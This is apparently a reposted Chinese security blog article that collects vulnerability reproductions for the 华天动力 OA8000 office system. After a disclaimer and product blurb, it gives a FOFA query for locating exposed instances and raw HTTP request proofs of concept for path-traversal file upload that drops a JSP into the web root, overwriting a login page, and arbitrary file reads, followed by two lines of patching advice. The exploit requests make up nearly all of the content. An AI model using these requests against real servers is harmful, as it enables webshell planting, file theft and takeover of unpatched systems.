SCA御盾实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
本文所提供的工具仅用于学习，禁止用于其他！！！
0x02 产品描述
华天动力OA是一个以技术领先著称的协同软件产品，拥有领先业界的三大核心技术：协同平台、工作流和智能报表，是业内唯一实现协同工具软件、协同应用软件、协同平台融合的协同软件产品，也是业内唯一所有版本统一平台、统一服务、统一升级的协同软件产品。
0x03 fofa语法：
app="华天动力-OA8000"
0x04 漏洞详情
1、htpage-MyHttpServlet-upload
POST /OAapp/MyHttpServlet?username=admin HTTP/1.1Host:User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: multipart/form-data; boundary=--------------------------533212604817836013445627Content-Length: 233----------------------------533212604817836013445627Content-Disposition: form-data; name="file";filename="../../../../../../webapps/ROOT/qypzfeaz.jsp%00.jpgqypzfeaz19689315----------------------------533212604817836013445627--GET /qypzfeaz.jsp;.html HTTP/1.1Host:User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: close
2、htpage-readfile
GET /OAapp/jsp/trace/ntkodownload.jsp?filename=../../../../../../../htoa/Tomcat/webapps/OAapp/jsp/trace/ntkodownload.jsp HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Encoding: gzip, deflateAccept: */*Connection: close
3、htpages_upload
一、获取path,获取不到默认取D:/htoa/POST /OAapp/jsp/upload.jsp HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Referer: http://116.63.142.107:8081/OAapp/jsp/upload.jspUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data;boundary=----WebKitFormBoundary5Ur8laykKAWws2QOContent-Length: 290------WebKitFormBoundary5Ur8laykKAWws2QOContent-Disposition: form-data;name="file"; filename="xxx.xml"Content-Type: image/pngreal path------WebKitFormBoundary5Ur8laykKAWws2QOContent-Disposition: form-data;name="filename"xxx.png------WebKitFormBoundary5Ur8laykKAWws2QO--二、将第一步获取的路径传到第二步的路径中POST /OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Referer: http://116.63.142.107:8081/OAapp/jsp/upload.jspUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQmContent-Length: 366------WebKitFormBoundaryzRSYXfFlXqk6btQmContent-Disposition: form-data;name="EDITFILE"; filename="xxx.txt"Content-Type: image/pngotmgyrah------WebKitFormBoundaryzRSYXfFlXqk6btQmContent-Disposition: form-data; name="newFileName"D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp------WebKitFormBoundaryzRSYXfFlXqk6btQm三、文件路径GET /OAapp/htpages/app/module/login/normalLoginPageForOther.jsp HTTP/1.1Host:User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: close
4、htpage-TemplateService-read-file
POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1Host: baidu.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: text/xmlContent-Length: 99<buffalo-call><method>getHtmlContent</method><string>C://windows/win.ini</string></buffalo-call>
0x05 修复建议
1、升级华天动力oa系统至最新版本
2、官网下载最新安全补丁：http://www.oa8000.com/
漏洞poc+漏洞批量扫描脚本
原文始发于微信公众号（SCA御盾）：【漏洞复现】华天动力漏洞集合
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论